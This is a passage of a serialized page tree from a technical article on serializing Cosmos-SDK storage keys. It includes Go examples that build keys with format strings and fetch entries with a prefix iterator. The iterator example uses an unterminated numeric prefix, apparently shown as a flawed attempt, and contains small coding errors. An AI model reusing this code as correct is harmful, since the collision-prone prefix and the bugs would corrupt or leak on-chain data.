"props":86349,"children":86350},{"style":523},[86351],{"type":28,"value":526},{"type":23,"tag":504,"props":86353,"children":86354},{"style":517},[86355],{"type":28,"value":8121},{"type":23,"tag":504,"props":86357,"children":86358},{"style":523},[86359],{"type":28,"value":526},{"type":23,"tag":504,"props":86361,"children":86362},{"style":529},[86363],{"type":28,"value":84491},{"type":23,"tag":504,"props":86365,"children":86366},{"style":523},[86367],{"type":28,"value":84373},{"type":23,"tag":504,"props":86369,"children":86370},{"class":506,"line":1392},[86371],{"type":23,"tag":504,"props":86372,"children":86373},{"style":523},[86374],{"type":28,"value":22898},{"type":23,"tag":504,"props":86376,"children":86377},{"class":506,"line":1400},[86378,86382,86386,86390,86394,86398,86402,86406],{"type":23,"tag":504,"props":86379,"children":86380},{"style":529},[86381],{"type":28,"value":84343},{"type":23,"tag":504,"props":86383,"children":86384},{"style":523},[86385],{"type":28,"value":320},{"type":23,"tag":504,"props":86387,"children":86388},{"style":517},[86389],{"type":28,"value":84397},{"type":23,"tag":504,"props":86391,"children":86392},{"style":523},[86393],{"type":28,"value":526},{"type":23,"tag":504,"props":86395,"children":86396},{"style":529},[86397],{"type":28,"value":84432},{"type":23,"tag":504,"props":86399,"children":86400},{"style":523},[86401],{"type":28,"value":576},{"type":23,"tag":504,"props":86403,"children":86404},{"style":529},[86405],{"type":28,"value":84491},{"type":23,"tag":504,"props":86407,"children":86408},{"style":523},[86409],{"type":28,"value":1192},{"type":23,"tag":504,"props":86411,"children":86412},{"class":506,"line":1422},[86413],{"type":23,"tag":504,"props":86414,"children":86415},{"emptyLinePlaceholder":16},[86416],{"type":28,"value":1038},{"type":23,"tag":504,"props":86418,"children":86419},{"class":506,"line":1450},[86420,86424,86428,86432,86436,86440],{"type":23,"tag":504,"props":86421,"children":86422},{"style":529},[86423],{"type":28,"value":85426},{"type":23,"tag":504,"props":86425,"children":86426},{"style":598},[86427],{"type":28,"value":75167},{"type":23,"tag":504,"props":86429,"children":86430},{"style":529},[86431],{"type":28,"value":80985},{"type":23,"tag":504,"props":86433,"children":86434},{"style":523},[86435],{"type":28,"value":320},{"type":23,"tag":504,"props":86437,"children":86438},{"style":517},[86439],{"type":28,"value":83974},{"type":23,"tag":504,"props":86441,"children":86442},{"style":523},[86443],{"type":28,"value":2439},{"type":23,"tag":504,"props":86445,"children":86446},{"class":506,"line":1463},[86447,86452],{"type":23,"tag":504,"props":86448,"children":86449},{"style":622},[86450],{"type":28,"value":86451},"        \"%s%d%s%s%s%s\"",{"type":23,"tag":504,"props":86453,"children":86454},{"style":523},[86455],{"type":28,"value":2484},{"type":23,"tag":504,"props":86457,"children":86458},{"class":506,"line":1485},[86459,86464],{"type":23,"tag":504,"props":86460,"children":86461},{"style":529},[86462],{"type":28,"value":86463},"        PositionMapPrefix",{"type":23,"tag":504,"props":86465,"children":86466},{"style":523},[86467],{"type":28,"value":2484},{"type":23,"tag":504,"props":86469,"children":86470},{"class":506,"line":1503},[86471,86475],{"type":23,"tag":504,"props":86472,"children":86473},{"style":529},[86474],{"type":28,"value":85466},{"type":23,"tag":504,"props":86476,"children":86477},{"style":523},[86478],{"type":28,"value":2484},{"type":23,"tag":504,"props":86480,"children":86481},{"class":506,"line":1516},[86482,86486],{"type":23,"tag":504,"props":86483,"children":86484},{"style":529},[86485],{"type":28,"value":85478},{"type":23,"tag":504,"props":86487,"children":86488},{"style":523},[86489],{"type":28,"value":2484},{"type":23,"tag":504,"props":86491,"children":86492},{"class":506,"line":1543},[86493,86497],{"type":23,"tag":504,"props":86494,"children":86495},{"style":529},[86496],{"type":28,"value":85490},{"type":23,"tag":504,"props":86498,"children":86499},{"style":523},[86500],{"type":28,"value":2484},{"type":23,"tag":504,"props":86502,"children":86503},{"class":506,"line":1583},[86504,86508],{"type":23,"tag":504,"props":86505,"children":86506},{"style":529},[86507],{"type":28,"value":85478},{"type":23,"tag":504,"props":86509,"children":86510},{"style":523},[86511],{"type":28,"value":2484},{"type":23,"tag":504,"props":86513,"children":86514},{"class":506,"line":1605},[86515,86519],{"type":23,"tag":504,"props":86516,"children":86517},{"style":529},[86518],{"type":28,"value":85513},{"type":23,"tag":504,"props":86520,"children":86521},{"style":523},[86522],{"type":28,"value":2484},{"type":23,"tag":504,"props":86524,"children":86525},{"class":506,"line":1614},[86526],{"type":23,"tag":504,"props":86527,"children":86528},{"style":523},[86529],{"type":28,"value":22898},{"type":23,"tag":504,"props":86531,"children":86532},{"class":506,"line":1627},[86533],{"type":23,"tag":504,"props":86534,"children":86535},{"style":523},[86536],{"type":28,"value":884},{"type":23,"tag":504,"props":86538,"children":86539},{"class":506,"line":1655},[86540],{"type":23,"tag":504,"props":86541,"children":86542},{"emptyLinePlaceholder":16},[86543],{"type":28,"value":1038},{"type":23,"tag":504,"props":86545,"children":86546},{"class":506,"line":1668},[86547],{"type":23,"tag":504,"props":86548,"children":86549},{"emptyLinePlaceholder":16},[86550],{"type":28,"value":1038},{"type":23,"tag":504,"props":86552,"children":86553},{"class":506,"line":1682},[86554,86558,86562],{"type":23,"tag":504,"props":86555,"children":86556},{"style":511},[86557],{"type":28,"value":75051},{"type":23,"tag":504,"props":86559,"children":86560},{"style":517},[86561],{"type":28,"value":85557},{"type":23,"tag":504,"props":86563,"children":86564},{"style":523},[86565],{"type":28,"value":2439},{"type":23,"tag":504,"props":86567,"children":86568},{"class":506,"line":1691},[86569,86573,86577],{"type":23,"tag":504,"props":86570,"children":86571},{"style":529},[86572],{"type":28,"value":83998},{"type":23,"tag":504,"props":86574,"children":86575},{"style":1012},[86576],{"type":28,"value":75172},{"type":23,"tag":504,"props":86578,"children":86579},{"style":523},[86580],{"type":28,"value":2484},{"type":23,"tag":504,"props":86582,"children":86583},{"class":506,"line":1699},[86584,86588,86592,86596,86600,86604],{"type":23,"tag":504,"props":86585,"children":86586},{"style":529},[86587],{"type":28,"value":84010},{"type":23,"tag":504,"props":86589,"children":86590},{"style":523},[86591],{"type":28,"value":576},{"type":23,"tag":504,"props":86593,"children":86594},{"style":529},[86595],{"type":28,"value":85592},{"type":23,"tag":504,"props":86597,"children":86598},{"style":523},[86599],{"type":28,"value":74978},{"type":23,"tag":504,"props":86601,"children":86602},{"style":1012},[86603],{"type":28,"value":83516},{"type":23,"tag":504,"props":86605,"children":86606},{"style":523},[86607],{"type":28,"value":2484},{"type":23,"tag":504,"props":86609,"children":86610},{"class":506,"line":1708},[86611,86615,86619,86623,86627],{"type":23,"tag":504,"props":86612,"children":86613},{"style":523},[86614],{"type":28,"value":75133},{"type":23,"tag":504,"props":86616,"children":86617},{"style":529},[86618],{"type":28,"value":70905},{"type":23,"tag":504,"props":86620,"children":86621},{"style":523},[86622],{"type":28,"value":74978},{"type":23,"tag":504,"props":86624,"children":86625},{"style":1012},[86626],{"type":28,"value":83516},{"type":23,"tag":504,"props":86628,"children":86629},{"style":523},[86630],{"type":28,"value":537},{"type":23,"tag":504,"props":86632,"children":86633},{"class":506,"line":1717},[86634,86638,86642,86646],{"type":23,"tag":504,"props":86635,"children":86636},{"style":529},[86637],{"type":28,"value":84612},{"type":23,"tag":504,"props":86639,"children":86640},{"style":598},[86641],{"type":28,"value":75167},{"type":23,"tag":504,"props":86643,"children":86644},{"style":517},[86645],{"type":28,"value":84315},{"type":23,"tag":504,"props":86647,"children":86648},{"style":523},[86649],{"type":28,"value":2439},{"type":23,"tag":504,"props":86651,"children":86652},{"class":506,"line":1725},[86653,86657,86661],{"type":23,"tag":504,"props":86654,"children":86655},{"style":523},[86656],{"type":28,"value":85206},{"type":23,"tag":504,"props":86658,"children":86659},{"style":1012},[86660],{"type":28,"value":83516},{"type":23,"tag":504,"props":86662,"children":86663},{"style":523},[86664],{"type":28,"value":2484},{"type":23,"tag":504,"props":86666,"children":86667},{"class":506,"line":1757},[86668,86672,86676,86680,86684,86688,86692,86696],{"type":23,"tag":504,"props":86669,"children":86670},{"style":529},[86671],{"type":28,"value":85222},{"type":23,"tag":504,"props":86673,"children":86674},{"style":523},[86675],{"type":28,"value":320},{"type":23,"tag":504,"props":86677,"children":86678},{"style":517},[86679],{"type":28,"value":84352},{"type":23,"tag":504,"props":86681,"children":86682},{"style":523},[86683],{"type":28,"value":526},{"type":23,"tag":504,"props":86685,"children":86686},{"style":517},[86687],{"type":28,"value":8121},{"type":23,"tag":504,"props":86689,"children":86690},{"style":523},[86691],{"type":28,"value":526},{"type":23,"tag":504,"props":86693,"children":86694},{"style":529},[86695],{"type":28,"value":84222},{"type":23,"tag":504,"props":86697,"children":86698},{"style":523},[86699],{"type":28,"value":84373},{"type":23,"tag":504,"props":86701,"children":86702},{"class":506,"line":1765},[86703],{"type":23,"tag":504,"props":86704,"children":86705},{"style":523},[86706],{"type":28,"value":22898},{"type":23,"tag":504,"props":86708,"children":86709},{"class":506,"line":22762},[86710,86714,86718,86722,86726,86730,86734,86738],{"type":23,"tag":504,"props":86711,"children":86712},{"style":529},[86713],{"type":28,"value":84343},{"type":23,"tag":504,"props":86715,"children":86716},{"style":523},[86717],{"type":28,"value":320},{"type":23,"tag":504,"props":86719,"children":86720},{"style":517},[86721],{"type":28,"value":84397},{"type":23,"tag":504,"props":86723,"children":86724},{"style":523},[86725],{"type":28,"value":526},{"type":23,"tag":504,"props":86727,"children":86728},{"style":529},[86729],{"type":28,"value":84306},{"type":23,"tag":504,"props":86731,"children":86732},{"style":523},[86733],{"type":28,"value":576},{"type":23,"tag":504,"props":86735,"children":86736},{"style":529},[86737],{"type":28,"value":84222},{"type":23,"tag":504,"props":86739,"children":86740},{"style":523},[86741],{"type":28,"value":1192},{"type":23,"tag":504,"props":86743,"children":86744},{"class":506,"line":22799},[86745],{"type":23,"tag":504,"props":86746,"children":86747},{"emptyLinePlaceholder":16},[86748],{"type":28,"value":1038},{"type":23,"tag":504,"props":86750,"children":86751},{"class":506,"line":22812},[86752,86756,86760,86764],{"type":23,"tag":504,"props":86753,"children":86754},{"style":529},[86755],{"type":28,"value":85749},{"type":23,"tag":504,"props":86757,"children":86758},{"style":598},[86759],{"type":28,"value":75167},{"type":23,"tag":504,"props":86761,"children":86762},{"style":517},[86763],{"type":28,"value":84315},{"type":23,"tag":504,"props":86765,"children":86766},{"style":523},[86767],{"type":28,"value":2439},{"type":23,"tag":504,"props":86769,"children":86770},{"class":506,"line":22825},[86771,86775,86779],{"type":23,"tag":504,"props":86772,"children":86773},{"style":523},[86774],{"type":28,"value":85206},{"type":23,"tag":504,"props":86776,"children":86777},{"style":1012},[86778],{"type":28,"value":83516},{"type":23,"tag":504,"props":86780,"children":86781},{"style":523},[86782],{"type":28,"value":2484},{"type":23,"tag":504,"props":86784,"children":86785},{"class":506,"line":22838},[86786,86790,86794,86798,86802,86806,86810,86814],{"type":23,"tag":504,"props":86787,"children":86788},{"style":529},[86789],{"type":28,"value":85222},{"type":23,"tag":504,"props":86791,"children":86792},{"style":523},[86793],{"type":28,"value":320},{"type":23,"tag":504,"props":86795,"children":86796},{"style":517},[86797],{"type":28,"value":84352},{"type":23,"tag":504,"props":86799,"children":86800},{"style":523},[86801],{"type":28,"value":526},{"type":23,"tag":504,"props":86803,"children":86804},{"style":517},[86805],{"type":28,"value":8121},{"type":23,"tag":504,"props":86807,"children":86808},{"style":523},[86809],{"type":28,"value":526},{"type":23,"tag":504,"props":86811,"children":86812},{"style":529},[86813],{"type":28,"value":85592},{"type":23,"tag":504,"props":86815,"children":86816},{"style":523},[86817],{"type":28,"value":84373},{"type":23,"tag":504,"props":86819,"children":86820},{"class":506,"line":22892},[86821],{"type":23,"tag":504,"props":86822,"children":86823},{"style":523},[86824],{"type":28,"value":22898},{"type":23,"tag":504,"props":86826,"children":86827},{"class":506,"line":22901},[86828,86832,86836,86840,86844,86848,86852,86856],{"type":23,"tag":504,"props":86829,"children":86830},{"style":529},[86831],{"type":28,"value":84343},{"type":23,"tag":504,"props":86833,"children":86834},{"style":523},[86835],{"type":28,"value":320},{"type":23,"tag":504,"props":86837,"children":86838},{"style":517},[86839],{"type":28,"value":84397},{"type":23,"tag":504,"props":86841,"children":86842},{"style":523},[86843],{"type":28,"value":526},{"type":23,"tag":504,"props":86845,"children":86846},{"style":529},[86847],{"type":28,"value":85842},{"type":23,"tag":504,"props":86849,"children":86850},{"style":523},[86851],{"type":28,"value":576},{"type":23,"tag":504,"props":86853,"children":86854},{"style":529},[86855],{"type":28,"value":85592},{"type":23,"tag":504,"props":86857,"children":86858},{"style":523},[86859],{"type":28,"value":1192},{"type":23,"tag":504,"props":86861,"children":86862},{"class":506,"line":31258},[86863],{"type":23,"tag":504,"props":86864,"children":86865},{"emptyLinePlaceholder":16},[86866],{"type":28,"value":1038},{"type":23,"tag":504,"props":86868,"children":86869},{"class":506,"line":31279},[86870,86874,86878,86882,86886,86890],{"type":23,"tag":504,"props":86871,"children":86872},{"style":529},[86873],{"type":28,"value":85426},{"type":23,"tag":504,"props":86875,"children":86876},{"style":598},[86877],{"type":28,"value":75167},{"type":23,"tag":504,"props":86879,"children":86880},{"style":529},[86881],{"type":28,"value":80985},{"type":23,"tag":504,"props":86883,"children":86884},{"style":523},[86885],{"type":28,"value":320},{"type":23,"tag":504,"props":86887,"children":86888},{"style":517},[86889],{"type":28,"value":83974},{"type":23,"tag":504,"props":86891,"children":86892},{"style":523},[86893],{"type":28,"value":2439},{"type":23,"tag":504,"props":86895,"children":86896},{"class":506,"line":79702},[86897,86901],{"type":23,"tag":504,"props":86898,"children":86899},{"style":622},[86900],{"type":28,"value":86451},{"type":23,"tag":504,"props":86902,"children":86903},{"style":523},[86904],{"type":28,"value":2484},{"type":23,"tag":504,"props":86906,"children":86907},{"class":506,"line":79715},[86908,86913],{"type":23,"tag":504,"props":86909,"children":86910},{"style":529},[86911],{"type":28,"value":86912},"        AddressMapPrefix",{"type":23,"tag":504,"props":86914,"children":86915},{"style":523},[86916],{"type":28,"value":2484},{"type":23,"tag":504,"props":86918,"children":86919},{"class":506,"line":79723},[86920,86924],{"type":23,"tag":504,"props":86921,"children":86922},{"style":529},[86923],{"type":28,"value":85466},{"type":23,"tag":504,"props":86925,"children":86926},{"style":523},[86927],{"type":28,"value":2484},{"type":23,"tag":504,"props":86929,"children":86930},{"class":506,"line":79731},[86931,86935],{"type":23,"tag":504,"props":86932,"children":86933},{"style":529},[86934],{"type":28,"value":85478},{"type":23,"tag":504,"props":86936,"children":86937},{"style":523},[86938],{"type":28,"value":2484},{"type":23,"tag":504,"props":86940,"children":86941},{"class":506,"line":79739},[86942,86946],{"type":23,"tag":504,"props":86943,"children":86944},{"style":529},[86945],{"type":28,"value":85490},{"type":23,"tag":504,"props":86947,"children":86948},{"style":523},[86949],{"type":28,"value":2484},{"type":23,"tag":504,"props":86951,"children":86952},{"class":506,"line":79779},[86953,86957],{"type":23,"tag":504,"props":86954,"children":86955},{"style":529},[86956],{"type":28,"value":85478},{"type":23,"tag":504,"props":86958,"children":86959},{"style":523},[86960],{"type":28,"value":2484},{"type":23,"tag":504,"props":86962,"children":86963},{"class":506,"line":79787},[86964,86968],{"type":23,"tag":504,"props":86965,"children":86966},{"style":529},[86967],{"type":28,"value":85951},{"type":23,"tag":504,"props":86969,"children":86970},{"style":523},[86971],{"type":28,"value":2484},{"type":23,"tag":504,"props":86973,"children":86975},{"class":506,"line":86974},60,[86976],{"type":23,"tag":504,"props":86977,"children":86978},{"style":523},[86979],{"type":28,"value":22898},{"type":23,"tag":504,"props":86981,"children":86983},{"class":506,"line":86982},61,[86984],{"type":23,"tag":504,"props":86985,"children":86986},{"style":523},[86987],{"type":28,"value":884},{"type":23,"tag":24,"props":86989,"children":86990},{},[86991],{"type":28,"value":86992},"We now have a proper example of how to serialize storage keys.",{"type":23,"tag":24,"props":86994,"children":86995},{},[86996,86998,87003],{"type":28,"value":86997},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":23,"tag":56,"props":86999,"children":87001},{"className":87000},[],[87002],{"type":28,"value":66082},{"type":28,"value":87004},", data should still be retrievable through original keys.",{"type":23,"tag":24,"props":87006,"children":87007},{},[87008,87010,87016,87018,87023],{"type":28,"value":87009},"Let's look at a case where we want to retrieve all ",{"type":23,"tag":56,"props":87011,"children":87013},{"className":87012},[],[87014],{"type":28,"value":87015},"map[Username]map[PositionName]Position",{"type":28,"value":87017}," associated with a ",{"type":23,"tag":56,"props":87019,"children":87021},{"className":87020},[],[87022],{"type":28,"value":83886},{"type":28,"value":87024}," from the storage. How can we safely accomplish this?",{"type":23,"tag":24,"props":87026,"children":87027},{},[87028,87030,87035,87037,87043],{"type":28,"value":87029},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":23,"tag":56,"props":87031,"children":87033},{"className":87032},[],[87034],{"type":28,"value":83957},{"type":28,"value":87036}," prefix. Below is an example of an attempt to fetch data with ",{"type":23,"tag":56,"props":87038,"children":87040},{"className":87039},[],[87041],{"type":28,"value":87042},"vaultId",{"type":28,"value":3472},{"type":23,"tag":494,"props":87045,"children":87047},{"code":87046,"language":74915,"meta":7,"className":74916,"style":7},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return values\n}\n",[87048],{"type":23,"tag":56,"props":87049,"children":87050},{"__ignoreMap":7},[87051,87067,87082,87131,87183,87212,87224,87270,87277,87323,87378,87385,87449,87510,87533,87552,87559,87566,87626,87685,87708,87727,87734,87741,87794,87842,87849,87856,87896,87925,87932,87939,87951],{"type":23,"tag":504,"props":87052,"children":87053},{"class":506,"line":507},[87054,87058,87063],{"type":23,"tag":504,"props":87055,"children":87056},{"style":511},[87057],{"type":28,"value":75051},{"type":23,"tag":504,"props":87059,"children":87060},{"style":517},[87061],{"type":28,"value":87062}," FetchPositionMapWithVaultId",{"type":23,"tag":504,"props":87064,"children":87065},{"style":523},[87066],{"type":28,"value":2439},{"type":23,"tag":504,"props":87068,"children":87069},{"class":506,"line":540},[87070,87074,87078],{"type":23,"tag":504,"props":87071,"children":87072},{"style":529},[87073],{"type":28,"value":83998},{"type":23,"tag":504,"props":87075,"children":87076},{"style":1012},[87077],{"type":28,"value":75172},{"type":23,"tag":504,"props":87079,"children":87080},{"style":523},[87081],{"type":28,"value":2484},{"type":23,"tag":504,"props":87083,"children":87084},{"class":506,"line":555},[87085,87090,87094,87098,87102,87106,87110,87114,87118,87122,87127],{"type":23,"tag":504,"props":87086,"children":87087},{"style":523},[87088],{"type":28,"value":87089},") ([]",{"type":23,"tag":504,"props":87091,"children":87092},{"style":511},[87093],{"type":28,"value":66082},{"type":23,"tag":504,"props":87095,"children":87096},{"style":523},[87097],{"type":28,"value":2711},{"type":23,"tag":504,"props":87099,"children":87100},{"style":1012},[87101],{"type":28,"value":83903},{"type":23,"tag":504,"props":87103,"children":87104},{"style":523},[87105],{"type":28,"value":14391},{"type":23,"tag":504,"props":87107,"children":87108},{"style":511},[87109],{"type":28,"value":66082},{"type":23,"tag":504,"props":87111,"children":87112},{"style":523},[87113],{"type":28,"value":2711},{"type":23,"tag":504,"props":87115,"children":87116},{"style":1012},[87117],{"type":28,"value":83920},{"type":23,"tag":504,"props":87119,"children":87120},{"style":523},[87121],{"type":28,"value":14391},{"type":23,"tag":504,"props":87123,"children":87124},{"style":1012},[87125],{"type":28,"value":87126},"Position",{"type":23,"tag":504,"props":87128,"children":87129},{"style":523},[87130],{"type":28,"value":537},{"type":23,"tag":504,"props":87132,"children":87133},{"class":506,"line":633},[87134,87139,87143,87147,87151,87155,87159,87163,87167,87171,87175,87179],{"type":23,"tag":504,"props":87135,"children":87136},{"style":529},[87137],{"type":28,"value":87138},"    values",{"type":23,"tag":504,"props":87140,"children":87141},{"style":598},[87142],{"type":28,"value":75167},{"type":23,"tag":504,"props":87144,"children":87145},{"style":511},[87146],{"type":28,"value":48648},{"type":23,"tag":504,"props":87148,"children":87149},{"style":523},[87150],{"type":28,"value":2711},{"type":23,"tag":504,"props":87152,"children":87153},{"style":1012},[87154],{"type":28,"value":83903},{"type":23,"tag":504,"props":87156,"children":87157},{"style":523},[87158],{"type":28,"value":14391},{"type":23,"tag":504,"props":87160,"children":87161},{"style":511},[87162],{"type":28,"value":66082},{"type":23,"tag":504,"props":87164,"children":87165},{"style":523},[87166],{"type":28,"value":2711},{"type":23,"tag":504,"props":87168,"children":87169},{"style":1012},[87170],{"type":28,"value":83920},{"type":23,"tag":504,"props":87172,"children":87173},{"style":523},[87174],{"type":28,"value":14391},{"type":23,"tag":504,"props":87176,"children":87177},{"style":1012},[87178],{"type":28,"value":87126},{"type":23,"tag":504,"props":87180,"children":87181},{"style":523},[87182],{"type":28,"value":76848},{"type":23,"tag":504,"props":87184,"children":87185},{"class":506,"line":687},[87186,87191,87195,87199,87203,87208],{"type":23,"tag":504,"props":87187,"children":87188},{"style":529},[87189],{"type":28,"value":87190},"    i",{"type":23,"tag":504,"props":87192,"children":87193},{"style":598},[87194],{"type":28,"value":75167},{"type":23,"tag":504,"props":87196,"children":87197},{"style":529},[87198],{"type":28,"value":77392},{"type":23,"tag":504,"props":87200,"children":87201},{"style":523},[87202],{"type":28,"value":320},{"type":23,"tag":504,"props":87204,"children":87205},{"style":517},[87206],{"type":28,"value":87207},"KVStorePrefixIterator",{"type":23,"tag":504,"props":87209,"children":87210},{"style":523},[87211],{"type":28,"value":2439},{"type":23,"tag":504,"props":87213,"children":87214},{"class":506,"line":736},[87215,87220],{"type":23,"tag":504,"props":87216,"children":87217},{"style":529},[87218],{"type":28,"value":87219},"        kvStore",{"type":23,"tag":504,"props":87221,"children":87222},{"style":523},[87223],{"type":28,"value":2484},{"type":23,"tag":504,"props":87225,"children":87226},{"class":506,"line":785},[87227,87232,87236,87240,87244,87249,87253,87258,87262,87266],{"type":23,"tag":504,"props":87228,"children":87229},{"style":529},[87230],{"type":28,"value":87231},"        fmt",{"type":23,"tag":504,"props":87233,"children":87234},{"style":523},[87235],{"type":28,"value":320},{"type":23,"tag":504,"props":87237,"children":87238},{"style":517},[87239],{"type":28,"value":83974},{"type":23,"tag":504,"props":87241,"children":87242},{"style":523},[87243],{"type":28,"value":526},{"type":23,"tag":504,"props":87245,"children":87246},{"style":622},[87247],{"type":28,"value":87248},"\"%s%d\"",{"type":23,"tag":504,"props":87250,"children":87251},{"style":523},[87252],{"type":28,"value":576},{"type":23,"tag":504,"props":87254,"children":87255},{"style":529},[87256],{"type":28,"value":87257},"PositionMapPrefix",{"type":23,"tag":504,"props":87259,"children":87260},{"style":523},[87261],{"type":28,"value":576},{"type":23,"tag":504,"props":87263,"children":87264},{"style":529},[87265],{"type":28,"value":87042},{"type":23,"tag":504,"props":87267,"children":87268},{"style":523},[87269],{"type":28,"value":1192},{"type":23,"tag":504,"props":87271,"children":87272},{"class":506,"line":813},[87273],{"type":23,"tag":504,"props":87274,"children":87275},{"style":523},[87276],{"type":28,"value":22898},{"type":23,"tag":504,"props":87278,"children":87279},{"class":506,"line":851},[87280,87284,87289,87293,87297,87302,87306,87310,87314,87319],{"type":23,"tag":504,"props":87281,"children":87282},{"style":544},[87283],{"type":28,"value":2008},{"type":23,"tag":504,"props":87285,"children":87286},{"style":523},[87287],{"type":28,"value":87288}," ; ",{"type":23,"tag":504,"props":87290,"children":87291},{"style":529},[87292],{"type":28,"value":2716},{"type":23,"tag":504,"props":87294,"children":87295},{"style":523},[87296],{"type":28,"value":320},{"type":23,"tag":504,"props":87298,"children":87299},{"style":517},[87300],{"type":28,"value":87301},"Valid",{"type":23,"tag":504,"props":87303,"children":87304},{"style":523},[87305],{"type":28,"value":27429},{"type":23,"tag":504,"props":87307,"children":87308},{"style":529},[87309],{"type":28,"value":2716},{"type":23,"tag":504,"props":87311,"children":87312},{"style":523},[87313],{"type":28,"value":320},{"type":23,"tag":504,"props":87315,"children":87316},{"style":517},[87317],{"type":28,"value":87318},"Next",{"type":23,"tag":504,"props":87320,"children":87321},{"style":523},[87322],{"type":28,"value":1030},{"type":23,"tag":504,"props":87324,"children":87325},{"class":506,"line":869},[87326,87331,87335,87340,87344,87348,87352,87356,87360,87365,87369,87374],{"type":23,"tag":504,"props":87327,"children":87328},{"style":529},[87329],{"type":28,"value":87330},"        k",{"type":23,"tag":504,"props":87332,"children":87333},{"style":598},[87334],{"type":28,"value":75167},{"type":23,"tag":504,"props":87336,"children":87337},{"style":529},[87338],{"type":28,"value":87339}," strings",{"type":23,"tag":504,"props":87341,"children":87342},{"style":523},[87343],{"type":28,"value":320},{"type":23,"tag":504,"props":87345,"children":87346},{"style":517},[87347],{"type":28,"value":615},{"type":23,"tag":504,"props":87349,"children":87350},{"style":523},[87351],{"type":28,"value":526},{"type":23,"tag":504,"props":87353,"children":87354},{"style":529},[87355],{"type":28,"value":2716},{"type":23,"tag":504,"props":87357,"children":87358},{"style":523},[87359],{"type":28,"value":320},{"type":23,"tag":504,"props":87361,"children":87362},{"style":517},[87363],{"type":28,"value":87364},"Key",{"type":23,"tag":504,"props":87366,"children":87367},{"style":523},[87368],{"type":28,"value":17355},{"type":23,"tag":504,"props":87370,"children":87371},{"style":529},[87372],{"type":28,"value":87373},"Seperator",{"type":23,"tag":504,"props":87375,"children":87376},{"style":523},[87377],{"type":28,"value":1192},{"type":23,"tag":504,"props":87379,"children":87380},{"class":506,"line":878},[87381],{"type":23,"tag":504,"props":87382,"children":87383},{"emptyLinePlaceholder":16},[87384],{"type":28,"value":1038},{"type":23,"tag":504,"props":87386,"children":87387},{"class":506,"line":1221},[87388,87393,87397,87401,87406,87410,87414,87418,87422,87427,87431,87436,87440,87444],{"type":23,"tag":504,"props":87389,"children":87390},{"style":529},[87391],{"type":28,"value":87392},"        username",{"type":23,"tag":504,"props":87394,"children":87395},{"style":598},[87396],{"type":28,"value":75167},{"type":23,"tag":504,"props":87398,"children":87399},{"style":517},[87400],{"type":28,"value":84315},{"type":23,"tag":504,"props":87402,"children":87403},{"style":523},[87404],{"type":28,"value":87405},"([]",{"type":23,"tag":504,"props":87407,"children":87408},{"style":1012},[87409],{"type":28,"value":83516},{"type":23,"tag":504,"props":87411,"children":87412},{"style":523},[87413],{"type":28,"value":576},{"type":23,"tag":504,"props":87415,"children":87416},{"style":529},[87417],{"type":28,"value":84388},{"type":23,"tag":504,"props":87419,"children":87420},{"style":523},[87421],{"type":28,"value":320},{"type":23,"tag":504,"props":87423,"children":87424},{"style":517},[87425],{"type":28,"value":87426},"DecodedLen",{"type":23,"tag":504,"props":87428,"children":87429},{"style":523},[87430],{"type":28,"value":526},{"type":23,"tag":504,"props":87432,"children":87433},{"style":529},[87434],{"type":28,"value":87435},"k",{"type":23,"tag":504,"props":87437,"children":87438},{"style":523},[87439],{"type":28,"value":2711},{"type":23,"tag":504,"props":87441,"children":87442},{"style":1440},[87443],{"type":28,"value":3001},{"type":23,"tag":504,"props":87445,"children":87446},{"style":523},[87447],{"type":28,"value":87448},"]))\n",{"type":23,"tag":504,"props":87450,"children":87451},{"class":506,"line":1276},[87452,87456,87460,87464,87468,87473,87477,87482,87486,87490,87494,87498,87502,87506],{"type":23,"tag":504,"props":87453,"children":87454},{"style":529},[87455],{"type":28,"value":26728},{"type":23,"tag":504,"props":87457,"children":87458},{"style":523},[87459],{"type":28,"value":576},{"type":23,"tag":504,"props":87461,"children":87462},{"style":529},[87463],{"type":28,"value":47399},{"type":23,"tag":504,"props":87465,"children":87466},{"style":598},[87467],{"type":28,"value":75167},{"type":23,"tag":504,"props":87469,"children":87470},{"style":529},[87471],{"type":28,"value":87472}," hex",{"type":23,"tag":504,"props":87474,"children":87475},{"style":523},[87476],{"type":28,"value":320},{"type":23,"tag":504,"props":87478,"children":87479},{"style":517},[87480],{"type":28,"value":87481},"Decode",{"type":23,"tag":504,"props":87483,"children":87484},{"style":523},[87485],{"type":28,"value":526},{"type":23,"tag":504,"props":87487,"children":87488},{"style":529},[87489],{"type":28,"value":84222},{"type":23,"tag":504,"props":87491,"children":87492},{"style":523},[87493],{"type":28,"value":576},{"type":23,"tag":504,"props":87495,"children":87496},{"style":529},[87497],{"type":28,"value":87435},{"type":23,"tag":504,"props":87499,"children":87500},{"style":523},[87501],{"type":28,"value":2711},{"type":23,"tag":504,"props":87503,"children":87504},{"style":1440},[87505],{"type":28,"value":3001},{"type":23,"tag":504,"props":87507,"children":87508},{"style":523},[87509],{"type":28,"value":54419},{"type":23,"tag":504,"props":87511,"children":87512},{"class":506,"line":1285},[87513,87517,87521,87525,87529],{"type":23,"tag":504,"props":87514,"children":87515},{"style":544},[87516],{"type":28,"value":2250},{"type":23,"tag":504,"props":87518,"children":87519},{"style":529},[87520],{"type":28,"value":47500},{"type":23,"tag":504,"props":87522,"children":87523},{"style":598},[87524],{"type":28,"value":63366},{"type":23,"tag":504,"props":87526,"children":87527},{"style":511},[87528],{"type":28,"value":80669},{"type":23,"tag":504,"props":87530,"children":87531},{"style":523},[87532],{"type":28,"value":552},{"type":23,"tag":504,"props":87534,"children":87535},{"class":506,"line":1294},[87536,87540,87544,87548],{"type":23,"tag":504,"props":87537,"children":87538},{"style":544},[87539],{"type":28,"value":77827}